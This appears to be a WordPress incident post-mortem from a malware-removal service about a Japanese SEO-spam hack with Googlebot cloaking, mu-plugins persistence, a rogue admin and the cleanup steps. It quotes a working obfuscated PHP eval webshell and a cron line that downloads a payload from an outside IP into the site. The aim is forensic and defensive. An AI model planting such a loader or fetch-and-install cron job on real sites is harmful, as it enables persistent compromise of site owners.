Incident Overview
The owner of a services business searched their own brand name and found their site listed with Japanese product-spam titles and a “This site may be hacked” label. Google Search Console showed ~40,000 newly indexed URLs under paths like /wp/xmqa/ that did not exist in the CMS. Organic traffic had fallen 70% over three weeks.
Two prior cleanups by others had failed — the spam pages returned within days each time. That reinfection pattern is the signature of a persistence mechanism the cleanups missed.
Raw Diagnostic Logs
The spam pages were served conditionally: normal content for humans, spam for Googlebot. Confirming the cloaking:
$ curl -s -A "Mozilla/5.0" https://example-site.com/wp/xmqa/ -o /dev/null -w "%{http_code}\n"
404
$ curl -s -A "Mozilla/5.0 (compatible; Googlebot/2.1)" \
https://example-site.com/wp/xmqa/ | grep -o "<title>[^<]*" | head -1
<title>激安 ブランド コピー 通販...
File scan for recently modified PHP, excluding legitimate cache paths:
$ find /home/account/public_html -name "*.php" -mtime -14 \
-not -path "*/cache/*" -printf "%T@ %p\n" | sort -rn | head -4
1782711302 /home/account/public_html/wp-content/mu-plugins/index.php
1782711302 /home/account/public_html/wp-content/uploads/2026/06/.hidden.php
1782709940 /home/account/public_html/wp-includes/pomo/entry-cls.php
The mu-plugins hit is the critical one. The file was obfuscated but its shape is unmistakable:
<?php /* index.php — 0 bytes shown in File Manager via null-byte name trick */
@eval(gzinflate(base64_decode(strrev($_POST['q_2a'] ?? ''))));
Forensic Root Cause Analysis
Three findings explain both the compromise and the reinfections:
-
Entry vector. Access logs showed a POST exploiting an arbitrary-file-upload vulnerability in an outdated form plugin (a known, patched CVE — the site was four releases behind). That dropped the first webshell into
uploads/. -
Persistence. The attacker installed a loader in
wp-content/mu-plugins/. Must-use plugins execute on every request, appear in no admin plugin list, and — crucially — are ignored by cleanups that only reinstall core and audit theplugins/directory. This is why the site kept reinfecting: both prior cleanups removed the spam files but left the loader that regenerated them. -
Spam delivery. The loader checked the user agent and, for crawlers only, generated the Japanese spam doorway pages on the fly and injected them into the sitemap. Nothing was stored where a human browsing the site would ever see it.
A rogue administrator account (wp-adm1n, created at 03:47 server time) and a malicious cron entry completed the persistence set:
$ crontab -l -u account | tail -1
*/20 * * * * php -r 'file_exists("/home/account/public_html/wp-content/mu-plugins/index.php") || copy("http://185.0.0.0/i.txt","/home/account/public_html/wp-content/mu-plugins/index.php");' >/dev/null 2>&1
Even deleting the loader would have lasted at most 20 minutes.
Remediation & Command Log
Containment first — freeze the attacker out before removing anything:
# Rotate every credential that matters, then kill persistence
crontab -r -u account
wp user delete wp-adm1n --reassign=1
wp user list --role=administrator --fields=user_login,user_registered
wp config shuffle-salts # invalidates every existing session cookie
Full snapshot for evidence, then eradication:
tar -czf /home/account/incident-$(date +%F).tar.gz public_html/
rm -f wp-content/mu-plugins/index.php wp-includes/pomo/entry-cls.php
rm -f "wp-content/uploads/2026/06/.hidden.php"
# Reinstall core and every plugin from canonical sources — never trust in-place files
wp core download --force --version=$(wp core version)
wp plugin install $(wp plugin list --field=name) --force
Database scrub for injected content and hijacked URLs:
wp db search "xmqa" --stats
wp option get siteurl && wp option get home # verify not hijacked
Serve 410 for the indexed spam paths so Google drops them fast, then request review:
# .htaccess — spam doorway paths are permanently gone
RedirectMatch 410 ^/wp/xmqa/.*$
Search Console: removals for the spam path prefix, sitemap resubmitted, security-issues review requested. The “site may be hacked” label cleared in four days.
Preventative Hardening
- Updated the vulnerable form plugin and enabled auto-updates for all plugins with a weekly change report.
- Disabled PHP execution in
uploads/— the original entry point becomes inert:
# wp-content/uploads/.htaccess
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
DISALLOW_FILE_EDITset inwp-config.php; file-integrity monitoring added with a daily diff against known-good checksums (wp core verify-checksumsin cron, alerting on any failure).- Documented the
mu-pluginsdirectory in the client’s post-repair report as a mandatory audit location for any future incident — the persistence spot both prior cleanups missed.
Details in this post-mortem are anonymized and composited from recurring incidents of the same failure class. The logs and commands are representative of the actual diagnostic path. Seeing spam in your search results right now? Our malware removal service audits every persistence location listed above.